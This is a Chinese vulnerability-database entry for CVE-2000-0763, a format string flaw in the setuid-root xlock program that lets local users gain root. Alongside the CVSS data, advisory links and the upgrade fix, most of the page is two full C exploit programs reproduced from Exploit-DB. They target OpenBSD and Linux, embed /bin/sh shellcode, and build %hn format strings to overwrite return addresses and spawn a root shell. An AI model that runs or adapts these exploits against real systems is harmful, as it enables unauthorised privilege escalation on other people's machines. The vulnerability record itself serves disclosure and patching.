CVE-2000-0763
CVSS7.2
发布时间 :2000-10-20 00:00:00
修订时间 :2008-09-05 16:21:49
NMCOE    

[原文]xlockmore and xlockf do not properly cleanse user-injected format strings, which allows local users to gain root privileges via the -d option.


[CNNVD]xlockmore和xlockf格式化字符串漏洞(CNNVD-200010-075)

        xlockmore和xlockf不能正确清除用户注入格式字符串。本地用户可以借助-d选项提升根目录特权。

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:david_bagley:xlock:4.16.1
cpe:/a:david_bagley:xlock:4.16

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0763
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2000-0763
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200010-075
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/templates/archive.pike?list=1&msg=20000815231724.A14694@subterrain.net
(VENDOR_ADVISORY)  BUGTRAQ  20000816 xlock vulnerability
http://www.securityfocus.com/bid/1585
(VENDOR_ADVISORY)  BID  1585
http://www.debian.org/security/2000/20000816
(VENDOR_ADVISORY)  DEBIAN  20000816 xlockmore: possible shadow file compromise
http://archives.neohapsis.com/archives/freebsd/2000-08/0340.html
(VENDOR_ADVISORY)  FREEBSD  FreeBSD-SA-00:44.xlockmore
http://archives.neohapsis.com/archives/bugtraq/2000-08/0294.html
(UNKNOWN)  BUGTRAQ  20000823 MDKSA-2000:038 - xlockmore update
http://archives.neohapsis.com/archives/bugtraq/2000-08/0212.html
(UNKNOWN)  BUGTRAQ  20000817 Conectiva Linux Security Announcement - xlockmore

- 漏洞信息

xlockmore和xlockf格式化字符串漏洞
高危 格式化字符串
2000-10-20 00:00:00 2005-05-02 00:00:00
本地  
        xlockmore和xlockf不能正确清除用户注入格式字符串。本地用户可以借助-d选项提升根目录特权。

- 公告与补丁

        

- 漏洞信息 (20153)

David Bagley xlock 4.16 User Supplied Format String Vulnerability (1) (EDBID:20153)
unix local
2000-08-15 Verified
0 noir
N/A [点击下载]
source: http://www.securityfocus.com/bid/1585/info

A vulnerability exists in versions of the xlockmore program, originally written by David Bagley. It is believed to affect all versions of xlock derived from xlockmore. This includes the xlock shipped with a number of popular operating systems.

Xlock is installed setuid root. Normally, the -d option to xlock is used to set the display it will be locking. This value is normally of the format hostname:portoffset, ie. x.host.com:0, to connect to the X server runnign on x.host.com, listening on port 6000. By supplying format strings in this value, it is possible to cause xlock to output numeric values. Using other format strings, it may be possible for an attacker to overwrite values on the stack. This may make it possible to execute arbitrary code with root privileges.

While several vulnerable operating systems have been listed, this list is by no means complete.

It has been reported that this vulnerability exists only in systems with versions of xlock that use the error() call. (it is also unverified whether the bug is in libc or xlib).


/*
OpenBSD 2.6/2.7 xlock exploit by noir
noir@gsu.linux.org.tr 
 
tested only on OpenBSD/i386 2.6
 
thanks:
cengiz_turkmen@hotmail.com for support!

greets: caddis <caddis@dissension.net> orginal chpass exploit
 	bind, CronoS, dustdvl, ppl from defcon7, gsu-linux staff
	TESO, ADM, Lam3rz, SSG 
*/


#include <stdio.h>



char bsd_shellcode[] =
"\x31\xc0\x50\x50\xb0\x17\xcd\x80"// setuid(0) 
"\x31\xc0\x50\x50\xb0\xb5\xcd\x80"//setgid(0)
"\xeb\x16\x5e\x31\xc0\x8d\x0e\x89"
"\x4e\x08\x89\x46\x0c\x8d\x4e\x08"
"\x50\x51\x56\x50\xb0\x3b\xcd\x80"
"\xe8\xe5\xff\xff\xff/bin/sh";

struct platform {
    char *name;
    unsigned short count;
    unsigned long dest_addr;
    unsigned long shell_addr;
    char *shellcode;
};

struct platform targets[3] =
{
    { "OpenBSD 2.6 i386       ", 246, 0xdfbfd4a0, 0xdfbfdde0, bsd_shellcode },
    { "OpenBSD 2.7 i386       ", 246, 0xaabbccdd, 0xaabbccdd, bsd_shellcode },
    { NULL, 0, 0, 0, NULL }
};

char jmpcode[129];
char fmt_string[2000];

char *args[] = { "xlock", "-display", fmt_string, NULL };
char *envs[] = { jmpcode, NULL };


int main(int argc, char *argv[])
{
    char *p;
    int x, len = 0;
    struct platform *target;
    unsigned short low, high;
    unsigned long shell_addr[2], dest_addr[2];


    target = &targets[0];

    memset(jmpcode, 0x90, sizeof(jmpcode));
    strcpy(jmpcode + sizeof(jmpcode) - strlen(target->shellcode), target->shellcode);

    shell_addr[0] = (target->shell_addr & 0xffff0000) >> 16;
    shell_addr[1] =  target->shell_addr & 0xffff;

memset(fmt_string, 0x00, sizeof(fmt_string));
 
for (x = 17; x < target->count; x++) {
        strcat(fmt_string, "%8x");
        len += 8;
    }

if (shell_addr[1] > shell_addr[0]) {
        dest_addr[0] = target->dest_addr+2;
        dest_addr[1] = target->dest_addr;
        low  = shell_addr[0] - len;
        high = shell_addr[1] - low - len;
    } else {
        dest_addr[0] = target->dest_addr;
        dest_addr[1] = target->dest_addr+2;
        low  = shell_addr[1] - len;
        high = shell_addr[0] - low - len;
    }

    *(long *)&fmt_string[0] =  0x41;
    *(long *)&fmt_string[1]  = 0x11111111;
    *(long *)&fmt_string[5]  = dest_addr[0];
    *(long *)&fmt_string[9]  = 0x11111111;
    *(long *)&fmt_string[13] = dest_addr[1];


    p = fmt_string + strlen(fmt_string);
    sprintf(p, "%%%dd%%hn%%%dd%%hn", low, high);

    execve("/usr/X11R6/bin/xlock", args, envs);
    perror("execve");
}

		

- 漏洞信息 (20154)

David Bagley xlock 4.16 User Supplied Format String Vulnerability (2) (EDBID:20154)
unix local
2000-10-21 Verified
0 Ben Williams
N/A [点击下载]
source: http://www.securityfocus.com/bid/1585/info
 
A vulnerability exists in versions of the xlockmore program, originally written by David Bagley. It is believed to affect all versions of xlock derived from xlockmore. This includes the xlock shipped with a number of popular operating systems.
 
Xlock is installed setuid root. Normally, the -d option to xlock is used to set the display it will be locking. This value is normally of the format hostname:portoffset, ie. x.host.com:0, to connect to the X server runnign on x.host.com, listening on port 6000. By supplying format strings in this value, it is possible to cause xlock to output numeric values. Using other format strings, it may be possible for an attacker to overwrite values on the stack. This may make it possible to execute arbitrary code with root privileges.
 
While several vulnerable operating systems have been listed, this list is by no means complete.
 
It has been reported that this vulnerability exists only in systems with versions of xlock that use the error() call. (it is also unverified whether the bug is in libc or xlib).

/*

Exploit for xlock -d format string bug on i386 Linux. 
By Ben Williams 21 Oct 2000.

Works on Slackware 7.1, Redhat 6.2 - did not have setuid though,  Mandrake 7.0.
Redhat 6.1 won't work because fprintf segfaults on large precisions.

gcc xlockfmt.c -o xlockfmt
usage: xlockfmt [offset]
Default offset is 48.

Program calcuates all variables such as target return address, shellcode address
and the format string itself. The only thing not calculated is an offset that is
dependant on the version of xlock or how xlock was compiled.
The target address is fprintf()'s saved return address. This equals the value of
openDisplay()'s saved base pointer less offset bytes. Shellcode is appended to
the format string.


Stack picture:
see resource.c, xlock.c 

 fprintf(stderr, buf) A-48| ret      | return address located at A - 48 bytes.
                          | stderr   |
                          | buf      |
           error(buf)     | bp  A    | first value printed by format string is A.
                          | ret      |
                          | buf      |
openDisplay(displayp)     | buf      |
                          | ?        |
                          | ?        |
                          | ?        |
                          | ?        |
                          | ?        |
                         A| bp       | base pointer located at address A.


*/ 

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <error.h>
#include <errno.h>
#include <sys/stat.h>
#include <unistd.h>

/* 
 * distance from fprintf's ret to openDisplay's base pointer 
 * redhat6.2, slackware7.1 = 48
 * mandrake7.0 = 60
 */
#define OFFSET 48

#define XLOCK_PATH "/usr/X11R6/bin/xlock"

#define DEBUG 0
#define FMTSIZE 4096
#define CMDSIZE FMTSIZE + 100

/* number of words to print off the stack for analysis */
#define BIGBREAKFAST 400


/* xlock drops privs right away so we have to restore them again.
   setresuid(0, 0, 0) then execve a shell */
char shellcode[] =
        "\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb0\xa4\xcd\x80" 
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";


char *mkfmt(int prebuf,
           int breakfast,
           unsigned long int location,
           unsigned long int value);


int main(int argc, char **argv){
    FILE *fp;
    char output[65536];
    char fmtstr[FMTSIZE];
    char command[CMDSIZE];
    int i;
    char *p;
    int prebuf;
    int breakfast;
    unsigned long int location;
    unsigned long int value;
    int shellcode_size = sizeof shellcode;
    int offset = OFFSET;
    struct stat f;

    i = stat(XLOCK_PATH, &f);
    if (i) error(1, errno, "whereis xlock?");
    if (!(f.st_mode & S_IXOTH)) error(1, 0, "executable?");
    if (!(f.st_mode & S_ISUID)) error(1, 0, "not setuid");

    if (argc > 1) {
        offset = atoi(argv[1]);
    }

    /*
     * Setup a format string to analyse the stack.
     */
    
    memset(output, 0, 65536);
    memset(fmtstr, 0x20, FMTSIZE);

    for (i = 0, p = fmtstr; i < BIGBREAKFAST; i++) {    
        memcpy(p, "%.8x ", 5);
        p += 5;
    }

    /* 
     * blank out 10 bytes - the first two %.8x's.
     * this makes space for the prebuf bytes and token.
     */

    memset(fmtstr, 0x20, 10);   
    fmtstr[FMTSIZE - 1] = 0x00;
    
    /*
     *  Find the number of prebuf bytes (0x03's)to word align.        
     *  0 to 3 bytes may be needed to shove the token
     *  01010101 of the fmt str onto a word boundary.
     */

    i = 0;
    do {
        prebuf = i;
        memset(fmtstr, 0x03, i);  
        memset(fmtstr + i, 0x01, 4);
        sprintf(command, "%s -d '%s' 2>&1", XLOCK_PATH, fmtstr);
        fp = popen(command, "r");
        memset(output, 0, 65536);
        fread(output, 1024, 64, fp);
        fclose(fp);
#if DEBUG
        printf("======== trying prebuf %d =======\n%s", i, output);
#endif
        i++;
    } while (!strstr(output, "01010101") && i < 4); /* prebuf bytes always less than 4 */

    if (prebuf == 4){
        error(1, 0, "could not find fmt str on the stack");
    }


    memset(output, 0x20, 40);   /* clear the 'xlock: unable to open display' */
    p = strtok(output, "\x20"); /* get A */

    /*
     * Store error()'s base ptr value in var location.
     * Then find fprintf()'s ret by subracting offset.
     */

    location = strtoul(p, NULL, 16);
    location -= offset;
    value = location                /* fprintf's ret */
            + 12                    /* 3 words to error's bp */
            + breakfast * 4         /* breakfast words to fmt str */ 
            + FMTSIZE               /* to end of fmt str */
            - shellcode_size        /* to start of shellcode */
            - 100;                  /* position in the NOPS for safe measure */

    /*
     * Walk down the output string looking for 01010101,
     * counting how whole many words eaten to get there.
     */

    for (breakfast = 1; ; breakfast++) {
        p = strtok(NULL, "\x20");
        if (!p) error(1, 0, "reached end of output string and no 01010101");
#if DEBUG
        printf("eat %d to reach %s\n", breakfast, p);
#endif
        if (!strcmp(p, "01010101")) break;
    }


    /*
     * make the exploit fmt str.
     */

    p = mkfmt(prebuf, breakfast, location, value);
    memset(fmtstr, 0x90, FMTSIZE);
    memcpy(fmtstr, p, strlen(p));
    free(p);
    p = (char *) &fmtstr[FMTSIZE - shellcode_size];
    strcpy(p, shellcode);

    sprintf(command, "%s -d '%s'", XLOCK_PATH, fmtstr);

#if DEBUG
    puts("====== command line ======");
    printf("%s\n", command);
    puts("====== end command  ======");

#endif

    puts("====== system() ======");
    i = system(command);
    puts("====== end system ======");

    printf("\nsystem() returned %d\n", i);
    printf("prebuf was %d bytes\n", prebuf);
    printf("breakfast was %d words\n", breakfast);
    printf("location was %.8lx\n", location);
    printf("value was %.8lx\n", value);

    puts("exiting.");
    return 0;
}


/*
 * Function to generate a nasty format string.
 * MODIFIED FOR XLOCK EXPLOIT ONLY. 
 * breakfast - number of words to eat before reaching 01010101.
 * location - memory address to write to.
 * value - value to write.
 *
 * Resulting string looks something like this:
 *
 *      "\x03\x03\x03"          0 to 3 bytes used to align next value on a word boundary.
 *      "\x01\x01\x01\x01"      this must be aligned on a word boundary.
 *      "\xfc\xfa\xff\xbf"      first write address.
 *      "\x01\x01\x01\x01"
 *      "\xfe\xfa\xff\xbf"      second write address.
 *      "%.8x%.8x%.8x"          this example breakfast = 3.
 *      "%.45780lx"             this must write the first 01010101 
 *      "%hn"
 *      "%.3371lx"              writes the second 01010101
 *      "%hn"
 *      
 */

char *mkfmt(int prebuf,
            int breakfast,
            unsigned long int location,
            unsigned long int value)
{
    char *buf;
    unsigned long int dest_addr[2];
    unsigned int precision[2];
    unsigned int small;  /* small half of value */
    unsigned int big;    /* big half of value */
    char *p;
    int i;
    
    buf = (char *) malloc(200); 
    if (!buf) {
        error(1, errno, "failed to malloc");
    }
    
    big = value & 0x0000ffff;        /* grab the 2 low order bytes */
    small = (value & 0xffff0000) >> 16;   /* and the 2 high order */

    if (big < small) {
        big ^= small; small ^= big; big ^= small;
        dest_addr[0] = location;
        dest_addr[1] = location +2;
    }
    else {
        dest_addr[0] = location +2;
        dest_addr[1] = location;
    }

    p = buf;
    memset(p, 0x03, prebuf);
    p += prebuf;
    memcpy(p, "\x01\x01\x01\x01", 4);
    p += 4;
    memcpy(p, (char *)&dest_addr[0], 4);
    p += 4; 
    memcpy(p, "\x01\x01\x01\x01", 4);
    p += 4;
    memcpy(p, (char *)&dest_addr[1], 4);
    p += 4;

    for (i=0; i < breakfast; i++){
        memcpy(p, "%.8x", 4);
        p += 4;
    }

    /* the 30 chars are the 'xlock: unable to open...' */

    precision[0] = small - (8 * breakfast + 16 + prebuf + 30);
    precision[1] = big - small;    

#if DEBUG
    strcat(buf, "\nFirst print %.8x\n");
    strcat(buf, "First write %.8x\n");
    strcat(buf, "Second print %.8x\n");
    strcat(buf, "Second write %.8x\n");

#else
    sprintf(p, "%%.%dx%%hn%%.%dx%%hn", precision[0], precision[1]);

#endif
    return buf;

}		

- 漏洞信息

1519
xlockmore xlock -d Parameter Format String
Local Access Required Input Manipulation
Loss of Integrity Upgrade
Exploit Public Vendor Verified, Third-party Verified

- 漏洞描述

- 时间线

2000-08-16 Unknow
Unknow Unknow

- 解决方案

Upgrade to version 4.17.1 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站